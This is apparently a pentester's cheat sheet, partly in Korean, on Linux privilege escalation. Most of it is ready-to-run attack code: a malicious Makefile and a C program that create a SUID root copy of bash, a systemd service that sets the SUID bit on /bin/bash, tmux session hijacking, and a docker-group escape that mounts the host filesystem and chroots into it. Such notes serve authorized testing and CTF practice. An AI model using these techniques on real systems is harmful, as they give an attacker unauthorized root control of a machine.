Makefile RCE

Makefile:

<keyword>:
  <bash command>  
 
make <keyword> -C /directory

Prepare Malicious Makefile:

cat Makefile
install:
        bash -c "cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash"

trigger:

sudo make install

SUID bash.c

Malicious.c:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
 
int main(void)
{
  setuid(0); 
  setgid(0); 
  system("cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash");
}

SUID Systemtcl

prepare Malicious.service:

$ cat Malicious.service
[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target

Trigger:

$ systemctl link /tmp/malicious.service
Created symlink /etc/systemd/system/cubana.service -> /tmp/malicious.service.
 
$ systemctl enable --now /tmp/malicious.service
Created symlink /etc/systemd/system/multi-user.target.wants/malicious.service -> /tmp/malicious.service.
 
$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1099016 May 15  2017 /bin/bash

Tmux Sessions

Make New Sessions

tmux -S <session_path> new -s <session_name>
tmux -S /tmp/tmux_session1 new -s mysession

attach to the session (need permission)

ls -al /tmp/tmux_session1
tmux -S /tmp/tmux_session1

adm 그룹

  • adm 그룹은 /var/log 아래 로그파일들을 읽을 수 있음
  • aureport를 사용해 audit logs 조회
# TTY report 확인
aureport --tty | less

docker 그룹

  • docker 그룹은 sudo 없이 도커(Docker) 명령어를 실행 가능
  • alpine 도커 컨테이너를 띄운 뒤, 호스트를 mount하는 방식으로 권한 상승 가능
# Kali에서 alpine 이미지 저장 후 tar 이미지 대상 호스트에 전송
docker pull alpine
docker save alpine -o alpine.tar
 
# 대상 호스트
docker load -i alpine.tar
docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
  • -v /:/mnt: 호스트의 /를 컨테이너의 /mnt로 마운트
  • -it: 컨테이너 내부 쉘로 바로 진입
  • --rm: 컨테이너가 종료되면 자동으로 삭제
  • chroot /mnt /bin/sh: 컨테이너 내 명령 실행 (루트 디렉토리를 /mnt로 설정 후 /bin/sh 실행)

File 권한 (-rw-rw-r—+)

  • 파일 권한 끝에 붙은 +는 해당 파일에 POSIX ACL(Access Control List, 접근 제어 목록)이 설정되어 있음을 의미
  • 기본 소유자/그룹/기타 사용자(9자리) 설정 외에 추가적인 ACL 규칙이 적용되어 있음
getfacl /path/to/file